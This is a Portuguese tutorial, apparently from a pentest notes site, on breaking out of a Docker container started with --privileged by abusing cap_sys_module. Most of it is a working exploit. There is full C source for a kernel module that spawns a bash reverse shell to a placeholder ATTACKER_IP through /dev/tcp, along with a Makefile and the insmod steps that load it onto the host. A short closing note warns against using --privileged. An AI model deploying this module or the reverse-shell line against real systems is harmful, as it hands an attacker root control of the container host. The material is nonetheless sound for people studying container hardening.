privileged flag

Apresentação

Quando um contêiner é executado usando a flag --privileged, esse contêiner possui mais capabilities, e com isso podemos atacar esse contêiner e conseguir acesso ao host.

Capabilities

As capabilities representam a capacidade de um processo acessar um certo recurso, limitando ou disponibilizando tal permissão, por exemplo, a capabilitie cap_sys_module tem permissão de carregar módulos de kernel no linux.

Recon

Para ver as capabilities que o contêiner tem acesso podemos utilizar o seguinte comando

capsh --print

Caso não exista esse comando no contêiner, você pode instalar ele, no meu caso vou usar o utilitário de gerenciamento de pacotes APK do alpine

apk add -U libcap

Irei mostrar o resultado em dois contêiners, um possui a flag. --privileged setada e o outro não

Circulei os 3 capabilities perigosos

  • cap_sys_module

  • cap_sys_ptrace

  • cap_sys_admin

Irei mostrar a exploração através do cap_sys_module, vamos simplesmente pegar um módulo de kernel que faça uma reverse shell e carregar esse módulo no docker que consequetemente ele irá carregar no host, assim a gente irá pegar revshell no host.

Vamos criar esse arquivo chamado "priv.c"

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static char command[50] = "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1";

char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};

static int __init connect_back_init(void) {

return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

}

static void __exit connect_back_exit(void){
printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

Após isso vamos criar o "Makefile"

obj-m = priv.o
KVERSION = $(shell uname -r)
all:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean

Vamos compilar:

make

Após compilar teremos o arquivo .ko, vamos fazer o download dele no contêiner utilizando python3 no meu caso, após fazer o download, siga os comandos

chmod +x rev.ko && insmod rev.ko

Podemos verificar se o módulo foi carregado

Após isso só verificar o nosso listener

Conclusão

Não é uma boa prática utilizar a flag --privileged, caso usada o atacante pode mapear os capabilities disponíveis e utilizar eles para a escalação de privilégio, se for utilizar apenas por conta dos capabilities, olhe como gerenciar os capabilities aqui sem a necessidade de usar a flag privileged.

Last updated